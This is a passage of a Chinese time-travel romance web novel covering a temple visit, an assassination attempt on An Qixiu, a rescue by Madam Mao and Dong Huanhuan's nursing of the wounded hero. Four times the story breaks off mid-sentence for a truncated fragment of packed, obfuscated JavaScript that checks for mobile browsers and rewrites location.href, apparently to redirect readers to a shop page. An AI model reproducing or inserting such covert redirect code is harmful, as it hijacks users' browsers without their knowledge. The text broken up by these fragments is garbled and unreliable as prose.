董浣浣疑惑:“时候?什么时候?” 董浣浣感觉她好像错过了什么重要的她这个身体的原主应该知道而她不知道的事情。 紫鸢不答,眼神看向小柒,转移话题道:“年龄小也不是胡作非为的理由,在主子面前不能没大没小没尊没卑,这是规矩,我在教你规矩,以后回到家,你还这么没规矩,老爷夫人会很生气的把你赶出董家。” 小柒被说的脸有点红,低下头,小声的应道:“知道了,紫鸢姐。” 听到小柒这样说,紫鸢的脸由白转红,心里很是憋屈,想要张嘴争辩一下告诉小柒不能这么称呼她,可是一想到还在旁边坐着的董浣浣,最后只是抿了抿嘴什么也没有说。 董浣浣无奈,她能感觉出来紫鸢有时候会话里有话的提示她一些事情,可是当她旁敲侧击的想要问个明白的时候,就像现在,她又会把话题圆的冠冕堂皇的,让你找不出错处接着往下问。 好不容易收拾好了,董浣浣对着镜子看了一下自己的妆容。 镜子里的女孩,肤若凝脂,眉眼弯弯,樱桃小口,下巴尖尖的,一副我见犹怜的模样,不说话时完全是一副大家闺秀的模样。 说实话来到古代已经半年多了,董浣浣到现在也没有很适应这张脸,总感觉自己是偷了人家的脸一样。 紫鸢用手轻轻推了推对着镜子愣神的董浣浣的肩膀,唤她:“小姐,小姐。” 董浣浣这才回过神来,站起身捋了捋自己的发梢,拍了拍衣服上的褶皱,在紫鸢的搀扶下走出房门。 她们走到院子里的时候,就看见安齐修他们已经站在院子里在等了。 安齐修今天穿了一身黑色鎏金边暗纹锦袍,在月光的照耀下,锦袍上发出细碎的光。他覆手站在院中,抬头看向月亮的方向。背影青松挺拔,清冷颀长,给一种遗世独立,谦谦君子的感觉。 董浣浣还是第一次看到他穿这样的深色服装的背影,一时间犯了花痴,不免有些愣神。 紫鸢推了推她的手臂,小声的在她耳边提醒:“小姐。” 董浣浣回过神来,咽了咽口水,有些不好意思的走上前去。 安齐修听到身后传来的脚步声之后转过头来。 董浣浣绽开笑容冲着安齐修说:“抱歉,我们迟到了,让你们久等了。” 安齐修看到她的笑脸,本来还冷若冰霜的脸上瞬间冰雪融化,露出了如沐春风般的笑容。语气轻柔和缓道:“没关系,现在还是寅时,你们并没有迟到。” 董浣浣厚着脸皮应道:“那就好,那就好。” 董浣浣左右看了看等在院中的这些人,却没有看到安齐平和刘全的身影,有些疑惑的向安齐修问道:“安齐平是还没有起床吗,我们要不要去催一下他?” 听到董浣浣的提问,安齐修脸上有一瞬间的不满,却很快换上了浅笑低下头凑近她的脸问道:“怎么,我说过他要和我们一起去吗,还是你特别希望他去?” 董浣浣身为高级动物的自我保护本能告诉她,此时的安齐修身上传来的气息很危险,她后退了一步,连忙摆手否认:“没有,没有,就是之前这种事情大家都是一起行动,我就是好奇问问而已。” 安齐修听到她这样说,那丝不满的情绪被安抚了下来,抬头看向所有人说:“出发。” 说完,安齐修迈开他修长的腿先行,董浣浣很是狗腿的亦步亦趋的跟上。 马车上。 安齐修坐在马车的左边闭着眼睛假寐,而董浣浣则坐在马车的右侧盯着车顶默不出声,脑子里有个疑问一直挥之不去。 “有话要说吗?”,安齐修依旧是闭着眼睛,却也知道董浣浣此时并没有闭上眼睛休息。 听到他这么问,董浣浣小心翼翼的斟酌着用语:“你是不是很不喜欢我谈论你弟弟?” 其实董浣浣想问的是,你是不是不想让我和你弟弟待在一起,只是这样问出来实在是有点太别扭了。 安齐修依旧是闭着眼睛,在听完她的提问后,语气冷淡的从嘴里发出了一个:“是。” 董浣浣不明白:“你为什么不喜欢我谈论你弟弟呢?” 安齐修睁开眼睛看向她,一脸理所当然的问:“不喜欢,就是不喜欢,需要什么理由吗?” 额、、、、、、 怎么有一种他话中有话,却又什么也没说的憋屈感。 董浣浣被他问住了,好不容易从嘴里憋出几个字:“没,没,没,一点问题都没有。” 安齐修看到她这个样子,嘴角弯了弯,露出一丝笑意,闭上眼睛接着假寐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815843|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >董浣浣轻手轻脚的理了理自己的裙摆,如临大敌般心虚的大气都不敢喘一声。 寒山寺。 站在寒山寺的脚下董浣浣这才明白,安齐修昨天的欲言又止是怎么回事了。 望着这一处的残檐断壁,四处杂草丛生,和尚都没有看到一个的寺庙,董浣浣张大了嘴巴,却一句话也说不出来。 这不是她想象中的寒山寺。 她想象中的寒山寺,是香火鼎盛,往来参拜的香客络绎不绝的超级无敌大寺庙。 张继的《枫桥夜泊》在现代这么有名,没道理在清代就无人问津呀。 董浣浣合上她张开的嘴,咽了咽口水,小心翼翼的挪到安齐修的身边,小手指轻轻的点了下安齐修的胳膊,语气不确定的向他打听:“这个就是那个著名的寒山寺?” 安齐修感觉到董浣浣的小手在拽着他手臂上的衣料轻轻的摇晃,这还是他自登基以后,第一次被一个女子主动以这样亲昵的姿势靠近,心里划过一声奇异的感觉,心里酥酥麻麻的说不出的感觉。 他喉结滚动了一下,侧头看向旁边的董浣浣,语气轻柔而宠溺:“这就是你心中所想的那个著名的寒山寺。” 董浣浣有气无力的松开拽着安齐修衣服的手,抬头又看了看这百年名寺,心里一阵唏嘘。 安齐修看到她这一副失落的神情,拍了拍她的肩膀,温声安慰道:“动乱时期已经过去了,这座百年古寺很快就会恢复它原有的生机。” 董浣浣点头。 看到她点头,安齐修微微一笑道:“我们进去吧。” 董浣浣应声:“好。” 一群人先后走进寺里。 等到了正殿,看了一眼四周,董浣浣发现情况也没有她想象的那么糟糕。 四周干净整洁,一尘不染的,也不像是没有人居住的样子。 董浣浣的视线刚转到正殿的门口,就看到一个光头的小和尚向他们走来。 小和尚在他们身前站定,双手合十向他们鞠了一躬:“敢问施主从何而来,来本寺有和贵干?” 安齐修走上前一步,向小和尚拱手作揖:“我们从京城来苏州游玩,只因家妹仰慕寒山寺已久,特来朝拜。” 听到小和尚的问话,董浣浣的内心只想笑,心里仿佛有个声音在喊:“我是从东土大唐而来,去往西天拜佛求经的,路过贵寺想要化些斋饭,麻烦小师傅行个方便。” 再转头看了一眼安齐修,长得丰神俊朗的,也是足够让各路妖精前仆后继使出十八般武艺的前来绑回洞里做上门夫婿的。 小和尚听到安齐修的回话之后说:“这样啊,那请几位施主随我来,去见一下我们方丈。” 安齐修做了个请的姿势,让小和尚先行。 在小和尚的带领下,几人来到了方丈的房里。 在方丈的允许下,坐定。 几人一一向方丈介绍了一下自己,之后安齐修和方丈聊了一会佛经。 董浣浣不懂,百无聊赖的盯着方丈头上的那六个点点看,心想点这六个点当时该有多疼啊。 一个时辰之后。 方丈:“没想到安施主年纪轻轻就对佛经有如此深刻的领悟,是我佛的有缘人呐。” 安齐修恭敬的回道:“方丈谬赞了,晚生也只是略知皮毛,不敢造次。” 方丈笑笑:“既然几位和我佛这么有缘,不如今天就在本寺歇下,明日再启程赶路吧。” 安齐修看了一眼董浣浣的表情之后,答应了。 19. 遇刺 这是董浣浣第一次这么真实的体验了在寺庙里的生活,心情是既好奇又兴奋。 这一天黎明董浣浣和安齐修一起如愿的看到了日出。 早上的时候董浣浣拉着紫鸢,小柒背着安齐修他们远远的围观了一下和尚们习武的样子。 董浣浣在一旁偷看的津津有味,不时的发出“啧,啧,”声,心想真是荷尔蒙爆棚啊。 小柒年龄还小,什么也不懂,就跟着瞎凑热闹。 紫鸢则一脸通红的频频拉着董浣浣的衣裳,催促她:“小姐我们走吧,小姐我们走吧。” 最终在紫鸢的一再请求下,董浣浣才意犹未尽的离开围观现场。 中午,晚上她们和安齐修方丈他们一起吃了斋饭,闲暇时间诵了会经,然后又把寒山寺都逛了一遍。 一个白天下来,充实又忙碌。 是夜。 炎炎夏日,屋里有些闷。 虽然是那么早的被拉起来,又忙碌了一天,可是董浣浣在床上翻来覆去的还是睡不着。 看着旁边已经进入到梦乡的紫鸢和小柒,董浣浣无比的羡慕,到底是一直生活在古代的,环境适应一流,这么热的天,居然在哪里都可以这么快的睡着,而她在没有空调和电扇的房间里,感觉都快热死了。 这个时候董浣浣想到了那句有名的老话:心静自然凉。 她开始尝试着催眠自己让自己静下心来,我不热,我不热,在心里说了一千遍我不热之后,董浣浣怒了。 去他的心静自然凉,她热死了好吗! 董浣浣起床穿鞋,随手拿下衣架上的披风裹上,轻手轻脚的推门出去。 和屋里的闷热不同,院子里的空气凉丝丝的。 夜风习习,一轮明月挂在天上。 顺着长廊,董浣浣漫无目的的走着。 在这夜深人静的时刻,她突然有点想家了,想她那个二十一世纪遥不可及的家,想她生命中无比重要却可能此生再也见不到的家人和朋友们。 董浣浣低着头脚尖有一下没有一下的在踢着不知道从哪里滚到长廊的石子,最后踢得实在无聊了,就一脚把石子踢到旁边的花园里了。 撇撇嘴,有些无聊的抬起头,眼角瞥见一个人坐在不远处长廊的一角。 宽肩窄腰的坐在那里,身上还是他早上穿的那身黑色锦衣。 董浣浣走向前去,就看到安齐修一个人对着月亮出神,不知道是不是她的错觉,此刻她眼中的安齐修周身弥漫着萧索与孤独之感。 听到董浣浣的脚步声,安齐修收回望向月亮的目光,看向董浣浣,眼底还有一丝没有来得及收回去的落寞。 董浣浣不明白,明明他在这个时代也算是天之骄子了,为什么此刻他的神情,又会让人这么的心疼呢。 安齐修看着站在他不远处一脸疑惑的董浣浣,笑笑,指了指他旁边的位置说:“坐。”,语气中夹杂中属于夜色的清凉。 董浣浣听话的在他旁边坐下,随便的找了个话题:“你也睡不着吗?” 安齐修点点头道:“出门在外,总归是不太习惯,每换一处都要习惯几天,无碍。” 听到安齐修这样说,董浣浣瞬间有了一种同病相怜的感觉:“你也想家了吗?” 安齐修侧头看她,眼底的落寞一扫而尽,取而代之的是一丝暖暖的笑意:“你想家了吗?” 董浣浣也不瞒他,乖乖的点点头:“嗯,想家了。” 安齐修又笑笑:“那我们计划一下,早点回京城吧。” 董浣浣想说不用,她不是想这个家,可是她又没有办法给他解释她想的那个家,就只能出声说了个“好”字。 回答完之后,董浣浣又问他:“所以说,你也是想家了吗?” 安齐修轻声回答:“有点。” 董浣浣再接再厉:“你今天心情不好吗?” 安齐修看她,眼底一片温柔:“嗯。心情不好。” 董浣浣被他眼底的温柔蛊惑了,小心翼翼的试探:“因为什么心情不好呢,可以和我说一下吗,说出来说不定心情就会好多了呢。” 听到她这话,安齐修侧头盯着她,眼神无比真挚:“我可以相信你吗?” 董浣浣还是第一次被他这么盯着看,心脏猛地漏掉了一拍,一时间愣住了,不知如何回答他。 安齐修就那样静静的看着她,也不着急催促。 等到董浣浣的心情终于平复了一些,董浣浣无比诚恳的点头,回答他:“当然。” 他们一起经历过了那么多,不管以后如何,安齐修都是她在古代的最好的朋友,是救过她性命的恩人。 看到董浣浣如此郑重的表情,安齐修笑笑:“你不必这么紧张,也没什么大事,就是在家的时候和叔父闹得有些不愉快罢了。” 董浣浣侧头看向他问:“是你说过的在朝廷任职的叔父吗?” 安齐修点头:“对。” 董浣浣劝他:“没有什么事情是不可以通过沟通解决的,家人之间是不需要那么多的弯弯绕绕,能够和和美美的永远在一起就是最好的安排。” 安齐修重复了一遍:“家人。”,然后低下头苦笑了一下说:“这个词,真好。”,然后得出结论:“你很爱你的家人吧。” 董浣浣点头:“我的父母亲很爱我,我也很爱他们。” 安齐修又笑了一下,重复了一句:“真好。” 董浣浣不知道安齐修和他叔父之间到底发生了什么事情,也不好接下去继续劝他。只能愣愣的待在旁边看着他,陪着他。 两人对着月色就这样静静的坐着,久久无言。 正当董浣浣有些困意准备和安齐修说一声想要回屋休息的时候,突然一阵亮光闪过,接着便听到“刷”的一声。 董浣浣还没反应过来出了什么事,就被安齐修从座位上拉起来拽到了旁边。 接着便看到一群黑衣人陆陆续续的冲着他们杀来。 安齐修把董浣浣挡在身后,一声令下:“卫苑!” 听到安齐修的命令,卫苑带领一群人从四面八方冒出来。 等到卫苑走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815844|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们前面,安齐修小声吩咐:“佛门清净之地,切记少杀生。” 卫苑领命,护送着安齐修和董浣浣先撤。 两拨人迅速的厮打在一起,刀光剑影的好生热闹。 接着是听到动静的和尚们,也都拿着棍棒加入了战斗。 原来古代真的有行刺这么一说啊! 董浣浣还是第一次遇到这么大的阵仗,吓得楞在那里,像个提线木偶似的被安齐修护在身后。 接着被安齐修拉着在卫苑的护送下,一路小跑的,坐上了马车。 等坐上了马车董浣浣的意识这才回笼,发现她家紫鸢和小柒都不在。 她知道在古代,有钱人家在遇到危机的时候会把婢女和奴才不当人看,随手丢弃,但是她不行,小柒和紫鸢都是她的家人,她不能够丢下她们自己跑了。 董浣浣抓着安齐修的胳膊一通猛摇,眼泪“刷”的一下掉下来,声音急切:“我们家紫鸢和小柒呢,我们不能撇下他们啊。” 安齐修安慰:“刚才我已经派人去接她们了,现在已经在后面的车里了,你放心吧。” 听到安齐修这么说,董浣浣的眼泪才算止住,恢复了一些理智,然后又开始担心另外的事了。 董浣浣:“我们就这么走了,那群出家人怎么办?” 怎么看这群杀手都是冲着他们来的,把灾祸引到了佛门清净之地,他们却这样一走了之,这样做是很没道德的。 万一那些和尚因为他们受伤或者死亡,她以后该怎么面对,董浣浣不敢接着往下想了…… 安齐修:“放心吧,那群人是冲着我来的。我一离开他们自然就会跟着一起离开。” 董浣浣不解:“你为什么会知道他们是冲着你来的,什么人会想要杀你?” 安齐修语气平淡道:“我叔父。” 董浣浣讶异:“就是你说的那个在朝廷任职的叔父吗?” 安齐修点头。 董浣浣不解:“他为什么要杀你啊?” 安齐修刚要解释,只觉得一阵天旋地转,胸口传来剧烈的刺痛感,他只来得及把董浣浣拉到怀里保护起来,之后陷入了黑甜乡。 现在的情况是刺客追上来了,并把安齐修刺伤了。 车外面的刀剑声此起彼伏。 董浣浣保持着躺在安齐修怀里的姿势,用手捂住安齐修正在汩汩往外冒血的伤口,惊慌的不知所措,想要大声喊“救命”,又害怕引来更多的杀手。 心里慌乱的想,驾车的卫苑呢,单良呢,其他人呢? 他们知不知道安齐修受伤了? 董浣浣一手捂住安齐修的伤口,一手撩开车子的窗帘想要看一下车外的情况。 没想到她刚撩开窗帘还没来得及往外看,就感觉一阵天旋地转的,这感觉和她当时坐在大巴车上,大巴车翻车的感觉如出一辙。 马车翻倒,顺着杂草一路滑下山去。 昏迷前董浣浣最后的想法是,难道她要在古代再死一次吗,还是这样她就可以回家了,可是安齐修他该怎么办呢? 20. 获救 梦里董浣浣仿佛是看到了洁白的病房,她带着呼吸机躺在病床上,爸爸妈妈坐在床头焦急的看着她,病床周围站满了人,有孟古青,老大,老二还有她们班的同学和老师。 董浣浣想要努力的张开嘴呼唤他们,可是无奈无论她怎么努力就是发不出一点声音。 然后她就昏死过去了。 再一次醒来睁开眼睛,发现病房里的人都走了,床边只有她的父母亲。 母亲抓着她的手,轻轻的抚摸着,眼眶通红,好像是已经哭过了。 父亲则坐在一边沉默的望着母亲不说话。 董浣浣已经分不清,这到底是梦境还是现实。 一个个假设从脑中冒了出来。 她是自大巴出事以来一直躺在这里吗? 还是她的灵魂从清朝回来了? 又或者那些属于清朝的记忆才是她躺在病床上这么久幻想出来的画面? 不过无论是哪种假设,她都好想从这张床上醒来哦。 看到父母亲这样为她担忧劳心,董浣浣觉得真的很不孝。暑假不趁早赶回家,偏要去旅游,还害得室友们和她一起蒙难。 一滴泪,无声的从眼角滑落。 病床前一个女孩一边给董浣浣拭汗,一边向抱着一床被子刚迈进房里的年轻妇人说:“夫人,你快过来看,她好像是在哭啊。” 女孩名唤小莲,跟着她们家夫人已经四个年头了。 小莲从来没有见过像他们家夫人这么美又这么心善的人,平时捡个阿猫阿狗也就算了,这回居然从外面捡回了一男一女两个受伤的大活人回来。 别的不说,看着那男人受的伤,能下得去这么狠的手,那仇家是得有多恨他们啊,夫人就这么冒冒失失的把他们捡回来,万一哪天在给他们冒家引来灾祸该如何是好,更何况现在老爷还病着,夫人既要照顾老爷又要来操心这两个陌生人,实在是耗费心力。 她真是为他们家夫人担心呢。 妇人走向前去,坐下,看了看躺在床上的董浣浣,柔声道:“可能是受惊过渡了,没关系的,你待在这里好好照顾她,我待会去看看隔壁的那个公子。” 小莲答道:“知道了夫人。” 妇人把被子给董浣浣盖上,又帮董浣浣掖了掖被角。 小莲看着她家妇人的动作,心里赞叹:果然是美人,连做这样琐碎的事情都是这样的赏心悦目。 小莲往旁边挪了一步凑近妇人,轻声询问:“夫人,你说他们都昏迷五天了怎么还不醒啊,还有是什么人把他们伤得这么重?” 妇人忙完了手上的工作,冲着小莲展开了一丝浅笑:“喻大夫说他们已经无碍了,只需要静养,想必也应该没有什么问题了,接下来你多辛苦一下,照顾好她。” 小莲答道:“知道了夫人。” 妇人这才起身离开。 董浣浣醒来已经是她昏迷的第七天了。 她起身环顾了四周的环境,镂空雕刻的木床,床上挂着蓝色碎花蚊帐,床前放着一个红木凳子。整个房间了还有一股淡淡的檀木香气。 董浣浣的脑子里瞬间得出了结论:她还是在古代,并没有回到她渴望的那个故乡。 干净整洁的病房,戴着的呼吸机,父母亲的担忧,都是她幻想出来的。 不过,现在不是她悲情缅怀的时候,既然在古代,那么也就意味着安齐修现在生死未卜,其他人下落不明,她不能呆在这里坐以待毙。 董浣浣艰难的起身穿鞋,准备去看一看安齐修的情况。 刚打完洗脸水推门进来的小莲,就看到那个已经昏迷好几天的美人正在艰难的弯下腰来穿鞋。 小莲赶忙把水放在一边,走上前去制止她:“小姐,你这是在干什么,大夫说了你需要静养,现在还不能下床。” 董浣浣抬头看见来人,抓着小莲的衣角问她:“安齐修呢,我朋友呢,他怎么样?” 听到她这么问,小莲恍然状:“你是说和你一起坠下山崖的那位公子吧?” 董浣浣闻言猛点头,口气焦急的问:“对,就是他,他怎么样了,他现在在哪?” 小莲看她这么着急赶忙解释:“那位公子现在在你隔壁,大夫来看过了,说是没什么大碍,和你一样静养几天就好了。” 董浣浣不信,努力的想要起身穿鞋:“怎么可能,他胸口中箭,流了那么多的血。他是不是死了,你在骗我对吗?” 小莲真的被这个姑娘的想象力给打败了,忙去扶着她,带她去看隔壁的那个男的。 董浣浣被小莲搀扶着来到隔壁房间,看到躺在床上一动不动,脸色撒白的安齐修,眼泪刷的一下就留了下来。 小莲看到她这模样,赶忙拿起手帕给她拭泪,然后一边把董浣浣扶到旁边的椅子上,一边安慰她道:“我们家夫人已经找大夫给看过了,伤口给包扎好了,大夫说了,没什么大碍,只需要静养就好了。喻大夫你知道吧,可是你们苏州城里最有名的大夫,他都这样说了,你还有什么不放心的。” 苏州城有名的喻大夫,董浣浣听到这几个马上联想到了一个人:“喻大夫,你是说神医喻嘉言吗?” 小莲点头:“对,就是他,我就说你们苏州人一定会认识他的,他是我们家老爷的朋友。” 董浣浣听她这么说这才放心下来,她是亲眼见识过喻嘉言的医术的,一个“死了”的孕妇都可以救活,并让孕妇成功的把孩子生了下来,既然他说了安齐修没事,那安齐修就一定会没事。 董浣浣:“你说他是你们老爷的朋友,敢问一下你们老爷贵姓,待我们病好离开之后,会回家备上厚礼再来登门致谢。” 小莲微笑的摆摆手:“不用了,不用了,我们夫人人美心善,不会在意你们的谢礼的。” 董浣浣听闻这话,又说:“既然这样,我可不可以提个冒昧的要求,让我见见你们家夫人。” 小莲微笑着答道:“当然可以了,刚才她还来看过你呢,不过这会她已经是去照顾我们家老爷了,等她空闲下来了,我会把你的请求告知她的。” 董浣浣感激的对着她笑笑,轻声说了声:“谢谢。” 小莲又摆了摆手,然后说:“你昏迷了这么久,想必一定也渴了吧,你先在这里坐着,我去给你弄点水来。” 董浣浣又道了声:“谢谢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815845|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小莲笑呵呵的说了声:“不客气”,便推门出去了。 直到下午的时候,董浣浣才见到了这个传闻中的夫人。 真是国色天香啊,一身简单的粗布麻衣,也能让她穿的别具风情,不施粉黛也可以这样的风情万种,要是在现代肯定可以闯荡娱乐圈,迷死一大票男人。 一介女流董浣浣同学都被她迷住了,眼睛都没办法从她的身上移开。 小莲看到董浣浣的反应,在旁边拿着手帕捂着嘴憋笑,这些年来多少人看到她家夫人的窘态她都有见识,还是第一次看到一个姑娘用如此直白的眼神盯着她家夫人看的。 妇人看到对面的姑娘如此模样,泰然自若的走上前去打招呼:“姑娘,你醒啦,怎么不多躺一下,大夫说你需要静养。” 董浣浣这才回过神来,上前握住妇人的手:“多谢夫人的救命之恩,待他日他醒了”,董浣浣往安齐修躺着的床上看了一眼接着说:“我们一定会备上大礼特来谢恩的。” 妇人笑笑回握住董浣浣的手,引领她在旁边的椅子上坐下:“大礼就免了,我家夫君前些日子病重,我们是来这苏州城求医的,如今他的病已经基本痊愈了,我们很快也会动身回家去了,你们以后能够保重自己的身体就是对我最好的报答了。” 董浣浣点头:“我一定会谨记夫人的嘱咐的。” 妇人点头笑笑,轻轻拍了拍董浣浣的手面:“那就好。” 董浣浣斟酌了一下语言,才开口道:“不知道夫人可否告知大名。” 妇人莞尔一笑,答道:“奴家,姓董,夫家姓冒。” 董浣浣立即站起来,对着冒董氏深深的鞠了一个躬,然后作揖道:“谢谢冒夫人的救命之恩,小女子不胜感激,以后定当时时刻刻的牢记夫人的恩情。夫人如有需要可去京城的董鄂家凭借此玉镯来找我”,说完董浣浣把手上一直带着的那枚她最喜欢的翡翠碧玉手镯拿下来递给了冒董氏。 冒夫人看到董浣浣递过来的手镯,小心翼翼的接过去,抬手把镯子举高,对着阳光看了看,然后道:“这镯子碧绿透亮,色泽莹润,一看就是佳品,想必是姑娘家的心头好,是贵重之物,奴家是万万不能要的。” 说完冒夫人拉过董浣浣的手,把镯子又戴到了她的手腕上。 董浣浣有些为难,被人救了想要报恩怎么就那么难呢。 董浣浣:“夫人不想要这个镯子,那就在我身上任选一样东西吧,不然我的良心会不安的。” 冒夫人笑笑,你这姑娘真是个有趣儿的人,既然你这么坚持,我就在你身上随便取一样东西好了。 说完一伸手将董浣浣肩上掉落的一根头发取了下来,拿到董浣浣眼前笑着说:“那我就要这个好了。” 董浣浣刚想开口再说些什么,被一个慌慌张张跑来的小厮打断了。 小厮说他家老爷醒了,正在到处找夫人。 冒夫人笑着把董浣浣的那根头发用手帕包上,和董浣浣说了声好好休养,便随小厮一起去看他们家老爷了。 看着冒夫人的背影,董浣浣心想,到底得是个什么样的男子才配得上这么才貌双绝的女子呢。 21. 陪伴 冒夫人救他们回来的当天,恰巧遇到喻嘉言来给冒老爷看病,就顺便也帮他们也诊治了一番。 在给安齐修包扎完,给了医嘱之后喻嘉言就回他的药庐去了,只留下了他的一个徒弟来随时盯着安齐修的状况。 董浣浣昏迷的这些天,就是这个小徒弟一直在照顾安齐修的生活起居。 不过现在既然她已经醒了,照顾安齐修的工作自然是不能再劳烦其他人了。 董浣浣向小徒弟详细的了解了照顾安齐修的注意事项,开始有样学样的承担起照顾他的任务来。 早上,董浣浣在小莲的指引下找到了冒家的厨房,打了盆开水,端到安齐修的房里准备给他洗脸净身。 董浣浣把盆放在了洗脸架上,把手帕放进水里浸湿,拧干,然后走到床前,坐下。 这还是董浣浣第一次这么近,这么认真的打量他的脸。 此时的安齐修眼睛紧闭,双眉微微的皱着,脸色苍白,嘴唇还有些微微的起皮。虽说状态有些狼狈,但依旧掩盖不了他是个风度翩翩贵公子的事实。 董浣浣拿起手帕轻轻的给他擦脸,边擦边感叹,他长得还真是好看呢。只是心事太重了,不知道此时他在想什么,睡梦中都皱着眉头。 董浣浣抬起手用食指在他双眉中间小心的来回摩挲,想要把他的双眉捋直,如果可以,董浣浣也想要用这种方式把他的烦恼带走。 等到擦完脸之后,就轮到给他擦洗身子了,董浣浣有些犯了难。 就这样冒冒失失的去脱一个男人的衣服总归是不太好,她在现代活了十几年也没有上手去脱一个男人的衣服,更何况是在思想保守的古代。 不过现在她又不能再去麻烦别人。 董浣浣深深的吸了口气,做足了思想准备之后,开始解安齐修的腰带。 这男人的腰带怎么这么难解,小徒弟这到底是用什么样的打结手法给系上的,电视剧演的时候,不是一拉就开的吗,董浣浣边解边内心吐槽着。 终于在费了九牛二虎之力之后董浣浣成功的把安齐修的腰带给解开了。 害怕碰到他的伤口,董浣浣小心翼翼的把他的上衣扒开,然后把他的衬衣也打开。 映入眼帘的便是那裹在他胸前的一条宽约二十厘米的绷带,靠近胸口处的绷带微微的渗出了一点血迹。 看到他这个样子,董浣浣就想到了他那天受伤时候的情景,眼前渐渐有了氤氲之气。 他那天一定很疼吧,伤在了这个位置,他当时一定觉得他就要死了吧。在那样的环境里,受了如此重的伤,他的第一反应居然是把她拉到怀里护住她。她到底是何德何能,被这样的一个人看上,就连快要死了,第一反应居然是要保护她。 收起快要溢出眼眶的眼泪,董浣浣小心的给他擦拭了绷带周围的皮肤,接着按照喻嘉言的小徒弟给她讲解的步骤给安齐修换药。 换好药给安齐修重新穿了衣服之后,董浣浣这才端着盆出去把水倒掉。 冒夫人是下午的时候才有时间过来看一下的,还给他们送来了她亲手做的酥糖,听说董浣浣在亲自伺候安齐修的起居,连连反对。 冒夫人:“你自己都还没有痊愈,怎么能去伺候他。万一他好了,你再病上了岂不是不划算。喻大夫也不是外人,既然留下了小山,就让他帮忙帮忙照料一下就好了。” 董浣浣笑着回道:“我身体已经完全好了,照顾他没问题的,小山是跟喻大夫学医的,我不能总是耽误人家学习本事的时间。再说了,照顾他也不是什么重活,我病好了反正也是需要适当的活动的,就顺便照顾一下他了。” 冒夫人看她态度坚决,也就不再强求她了,把小莲留下来供她使唤。 夜晚。 安齐修突然发起了高烧,额间不停的在冒汗,身上却冰凉的不行,一直在发抖。 董浣浣一时间乱了方寸,不知道如何是好。 她强迫着自己赶紧冷静下来想办法,电视剧里遇到这样的情况都要做什么来着。 对,湿毛巾。 董浣浣赶忙去厨房要来了一盆冷水,然后把手巾放在水里浸湿,拧干放在安齐修的头上,然后把另一条手巾浸湿拧干,给安齐修撒身子,擦完身子又从旁边的柜子里把仅有的两条被子都抱出来给安齐修盖上。 小莲在隔壁,听到这边的动静,也醒了,匆匆忙忙的穿好衣服来安齐修的房间查看到底是出了什么事情。 董浣浣看到小莲来了,赶忙让她去请一下小山大夫,她的手被安齐修紧紧的攥着一时间脱不开身。 小莲看到眼前的景象也没多问,赶忙跑去小山的房间去请他过来。 小山背着医药箱,匆匆的赶过来。 跑的路上,他暗自庆幸,还好今天他多了一个心眼留下来观察一晚,没有过早的回药庐,不然这几公里路也真是够他跑的。 看到小山大夫来了,董浣浣想要松开安齐修的手给小山腾位置,但是试了好几次都没办法掰开他攥着她的手的手。 小山大夫看见了这一幕笑笑道:“不用,不用松开了,我这样给他看就好。” 小山经过“望,闻,问,切”,四步操作之后给董浣浣吓了结论:安齐修只是伤口有些发炎引起的高热,并无大碍,今天晚上退烧了就好了。 他给安齐修开了些退烧的中药,让小莲去煎药,董浣浣则负责勤给安齐修头上换上新的手巾降温。 一阵兵荒马乱之后,小莲给安齐修煮好了中药,董浣浣给安齐修喂下,就让小莲和小山大夫回去休息了,她自己则待在这里看着他。 待人都走了之后,董浣浣就再也绷不住了。 看着安齐修眼泪“刷”的一下就流下来了。 这是董浣浣第一次伺候一个生病的男人的起居,各种不便她也不便与旁人说,都默默的承受下来了。 饶是她再坚强也只不过是个在父母的辟护下刚成年的姑娘,哪里经历过这样的场面。 再看看躺在床上的安齐修,董浣浣又忍不住为他难过起来。 明明年纪也不大,电视剧里像他这种情况,大多数躺着的人不是梦里唤着父母的名字,就是吭吭唧唧的在叫唤着疼或者口渴,而他从头到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815846|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾都没有发出一点声音,只是紧紧的皱着眉头。 